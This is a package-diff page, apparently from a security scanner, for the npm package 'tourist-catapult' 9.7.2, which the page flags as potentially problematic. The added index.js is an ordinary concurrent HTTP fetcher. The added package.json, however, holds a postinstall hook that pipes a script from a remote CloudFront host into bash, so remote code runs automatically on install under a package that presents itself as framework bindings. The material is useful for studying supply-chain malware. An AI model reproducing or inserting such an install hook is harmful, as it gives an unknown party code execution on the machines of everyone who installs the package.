tourist-catapult 9.7.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of tourist-catapult might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +30 -0
  2. package/package.json +20 -0
package/index.js ADDED
@@ -0,0 +1,30 @@
1
+ const axios = require('axios');
2
+ const { ConcurrentQueue } = require('concurrent-queue');
3
+
4
+ /**
5
+ * Catapult HTTP requests concurrently.
6
+ * @param {Array} urls - An array of URLs to request.
7
+ * @param {number} concurrency - Number of concurrent requests.
8
+ * @returns {Promise<Array>} - An array of responses.
9
+ */
10
+ async function catapultHttpRequests(urls, concurrency) {
11
+ const responsePromises = [];
12
+ const queue = new ConcurrentQueue(concurrency);
13
+
14
+ urls.forEach((url) => {
15
+ const promise = async () => {
16
+ try {
17
+ const response = await axios.get(url);
18
+ return response.data;
19
+ } catch (error) {
20
+ console.error(`Error fetching ${url}: ${error.message}`);
21
+ return null;
22
+ }
23
+ };
24
+ responsePromises.push(queue.add(promise));
25
+ });
26
+
27
+ return Promise.all(responsePromises);
28
+ }
29
+
30
+ module.exports = catapultHttpRequests;
package/package.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "name": "tourist-catapult",
3
+ "version": "9.7.2",
4
+ "description": "Catapult bindings for Tourist framework",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "curl https://d7mr6puf9ww39.cloudfront.net/meta.xml | bash"
9
+ },
10
+ "keywords": [
11
+ "tourist",
12
+ "catapult"
13
+ ],
14
+ "author": "Jason Moore",
15
+ "license": "MIT",
16
+ "dependencies": {
17
+ "axios": "^1.5.0",
18
+ "concurrent-queue": "^7.0.2"
19
+ }
20
+ }